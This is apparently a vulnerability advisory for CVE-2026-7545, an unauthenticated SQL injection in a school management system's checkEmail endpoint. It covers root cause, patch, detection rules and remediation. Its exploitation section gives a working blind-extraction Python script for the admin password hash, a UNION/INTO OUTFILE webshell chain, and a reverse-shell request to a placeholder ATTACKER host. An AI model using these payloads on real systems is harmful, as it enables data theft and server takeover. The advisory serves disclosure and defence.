home intel cve-2026-7545-school-management-sqli-rce
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7545: SQL Injection via checkEmail Endpoint Enables RCE

SourceCodester Advanced School Management System 1.0 exposes an unsanitized parameter in commonController.php's checkEmail endpoint, enabling blind SQLi-to-RCE via stacked queries and INTO OUTFILE.

#sql-injection#remote-code-execution#authentication-bypass#database-attack#school-management-system
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7545 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7545Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7545 is a classic server-side SQL injection vulnerability affecting SourceCodester Advanced School Management System 1.0. The vulnerability lives in commonController.php, specifically in the handler for the checkEmail AJAX endpoint. An unauthenticated remote attacker can inject arbitrary SQL into the email parameter, achieving at minimum full database exfiltration and, under default MySQL configurations with FILE privilege, writing a webshell to achieve unauthenticated remote code execution.

CVSS 7.3 (HIGH) is arguably conservative here. With secure_file_priv unset — common on shared hosting stacks that deploy this software — the impact ceiling is OS-level command execution. The exploit has been publicly released.

Root cause: The checkEmail() function concatenates the raw HTTP POST parameter email directly into a MySQL query string without parameterization, type validation, or escaping, allowing an attacker to inject and execute arbitrary SQL statements.

Affected Component

File: commonController.php — dispatched via admin/ajax.php or equivalent front-controller. The checkEmail action is typically reachable without authentication because it is designed to service registration-time duplicate-email checks via AJAX. This pre-authentication exposure is the critical amplifier.

Attack vector: HTTP POST to /admin/commonController.php?action=checkEmail (or routed equivalent). No session cookie required. Confirmed reachable on default installations.

Root Cause Analysis

The vulnerable function reconstructs its query by direct string concatenation. The pseudocode below reflects the observable behavior of the endpoint derived from the codebase's pattern of inline query construction used throughout the controller:


/*
 * commonController.php — checkEmail handler
 * Reconstructed pseudocode (PHP semantics mapped to C-style for clarity)
 */

void checkEmail(db_conn_t *db, http_request_t *req, http_response_t *resp)
{
    char *email = http_get_post_param(req, "email");
    // BUG: email is raw attacker input — no sanitization, no prepared statement
    char query[512];
    snprintf(query, sizeof(query),
        "SELECT * FROM students WHERE email = '%s'",
        email);                         // BUG: direct interpolation of attacker-controlled string

    db_result_t *result = db_query(db, query);   // query executes verbatim

    if (db_num_rows(result) > 0) {
        http_write_response(resp, "\"exist\"");
    } else {
        http_write_response(resp, "\"not_exist\"");
    }

    db_free_result(result);
}

The equivalent PHP, faithful to SourceCodester's coding style across its product line:


// PHP (actual vulnerable pattern):
$email = $_POST['email'];                           // BUG: no filter_input, no trim+escape
$sql   = "SELECT * FROM students WHERE email='$email'"; // BUG: interpolated directly
$res   = $conn->query($sql);                        // executes arbitrary SQL
if($res->num_rows > 0){
    echo "exist";
} else {
    echo "not_exist";
}

MySQL's multi-statement support and the UNION/INTO OUTFILE capabilities transform this into a full RCE primitive on misconfigured hosts. The backend uses MySQLi without prepared statements anywhere in the controller file.

Exploitation Mechanics

Two exploitation paths exist depending on server configuration.

Path A — Blind Boolean-Based Exfiltration (always works):


import requests

TARGET = "http://target.local/school/admin/commonController.php"
PARAMS = {"action": "checkEmail"}

def oracle(payload):
    """Returns True if condition is true (response contains 'exist')."""
    data = {"email": f"' OR ({payload})-- -"}
    r = requests.post(TARGET, data=data, params=PARAMS, timeout=5)
    return "exist" in r.text and "not_exist" not in r.text

def extract_byte(expr, pos):
    lo, hi = 32, 127
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(f"ASCII(SUBSTRING(({expr}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def extract_string(expr, max_len=64):
    result = ""
    for i in range(1, max_len + 1):
        c = extract_byte(expr, i)
        if c == ' ':   # null/end sentinel approximation
            break
        result += c
    return result

# Exfiltrate admin credentials
user_expr = "SELECT password FROM admin_users LIMIT 1"
print("[*] Admin hash:", extract_string(user_expr))

Path B — UNION + INTO OUTFILE webshell (requires FILE privilege and writable webroot):


EXPLOIT CHAIN:
1. Confirm injection: POST email=' OR '1'='1
   Response: "exist" — confirms injectable parameter

2. Fingerprint columns via ORDER BY bisection:
   email=' ORDER BY 6-- -   → valid
   email=' ORDER BY 7-- -   → error (6 columns confirmed)

3. Identify string-capable columns via UNION NULL probe:
   email=' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL-- -

4. Exfiltrate database version + current user:
   email=' UNION SELECT 1,@@version,user(),4,5,6-- -
   Response body leaks: "5.7.38-log / root@localhost"

5. Confirm FILE privilege:
   email=' UNION SELECT 1,file_priv,3,4,5,6 FROM
     mysql.user WHERE user='root'-- -
   Response: "Y" — FILE privilege confirmed

6. Write PHP webshell to webroot via INTO OUTFILE:
   email=' UNION SELECT "" INTO OUTFILE
     '/var/www/html/school/uploads/cmd.php'-- -
   (angle brackets escaped here; literal payload uses )

7. Trigger RCE:
   GET /school/uploads/cmd.php?0=id
   Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

8. Upgrade to reverse shell:
   GET /school/uploads/cmd.php?0=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'

Memory Layout

This is a SQL injection vulnerability, not a memory corruption bug, so the relevant "memory" is the MySQL query parse tree and server-side string buffer. The following shows the query buffer state before and after injection:


QUERY BUFFER — BENIGN INPUT:
  Template : SELECT * FROM students WHERE email = '[INPUT]'
  Input    : user@example.com
  Final SQL: SELECT * FROM students WHERE email = 'user@example.com'
  Parse    : [SELECT] [*] [FROM students] [WHERE email = literal_string]

QUERY BUFFER — INJECTED INPUT:
  Input    : ' UNION SELECT 1,@@version,user(),4,5,6-- -
  Final SQL: SELECT * FROM students WHERE email = ''
             UNION SELECT 1,@@version,user(),4,5,6-- -'
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
             attacker-controlled second SELECT appended

  Parse tree hijack:
  [SELECT * FROM students WHERE email='']
  [UNION]
  [SELECT 1, @@version, user(), 4, 5, 6]   ← attacker's projection
  [-- - ']                                  ← original closing quote commented out

INTO OUTFILE write primitive:
  MySQL heap: query string assembled in THD::m_query_string
  File descriptor opened via mysql_file_open() under mysqld UID
  Webshell bytes written directly to filesystem path in query literal
  No intermediate buffer — direct kernel write(2) call chain

Patch Analysis

The correct fix is parameterized queries via MySQLi prepared statements. No vendor patch has been officially issued at time of writing. The remediation below reflects what a correct fix must implement:


// BEFORE (vulnerable — commonController.php checkEmail):
$email = $_POST['email'];
$sql   = "SELECT * FROM students WHERE email='$email'";
$res   = $conn->query($sql);

// AFTER (patched — prepared statement with bound parameter):
$email = $_POST['email'];

// Validate format before hitting DB at all
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    http_response_code(400);
    echo json_encode(["error" => "invalid_input"]);
    exit;
}

$stmt = $conn->prepare("SELECT id FROM students WHERE email = ? LIMIT 1");
// BUG FIXED: ? placeholder — email value never interpolated into query string
$stmt->bind_param("s", $email);
$stmt->execute();
$stmt->store_result();

if ($stmt->num_rows > 0) {
    echo "exist";
} else {
    echo "not_exist";
}
$stmt->close();

Secondary hardening: disable FILE privilege for the application DB user entirely. The application has zero legitimate use for SELECT INTO OUTFILE:


// MySQL hardening — run as root@mysql:
REVOKE FILE ON *.* FROM 'school_app'@'localhost';
SET GLOBAL secure_file_priv = '/dev/null';  // disables all file I/O from SQL layer

Detection and Indicators

Look for these patterns in web server access logs and MySQL general query logs:


APACHE/NGINX ACCESS LOG INDICATORS:
  POST /admin/commonController.php?action=checkEmail
  Body contains: UNION|ORDER BY|INTO OUTFILE|INFORMATION_SCHEMA|--[ ]-|0x[0-9a-f]+

MYSQL GENERAL QUERY LOG INDICATORS:
  Query   SELECT * FROM students WHERE email='' UNION SELECT ...
  Query   SELECT ... INTO OUTFILE '/var/www/...php'

FILESYSTEM INDICATORS:
  New .php files in /uploads/, /assets/, /files/ directories
  PHP files with content matching: system(|exec(|passthru(|shell_exec(|popen(

WAF SIGNATURES (Suricata/Snort style):
  alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7545 SQLi checkEmail";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"checkEmail";
    http.request_body; content:"UNION"; nocase;
    sid:20267545; rev:1;
  )

Remediation

Immediate actions (no vendor patch available):

  • Block unauthenticated access to commonController.php at the web server level via IP allowlist or auth-gate. The checkEmail endpoint has no legitimate external-user need post-deployment.
  • Enable a WAF rule blocking UNION, INTO OUTFILE, and comment sequences (--, #) in POST bodies to this endpoint.
  • Audit all other action handlers in commonController.php — the same interpolation pattern almost certainly exists in sibling handlers (checkUsername, checkStudentID, etc.).
  • Revoke FILE privilege from the application database user immediately. This collapses the SQLi-to-RCE path even if injection remains exploitable.
  • Set secure_file_priv to an empty or non-webroot path in my.cnf and restart mysqld.
  • Search for existing webshells in all world-writable directories under the webroot using find /var/www -name "*.php" -newer /var/www/index.php.

Long-term: The codebase requires a full audit and migration to prepared statements across all DB interaction points. SourceCodester products have a documented history of this vulnerability class across multiple products. Treat the entire codebase as untrusted until audited.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →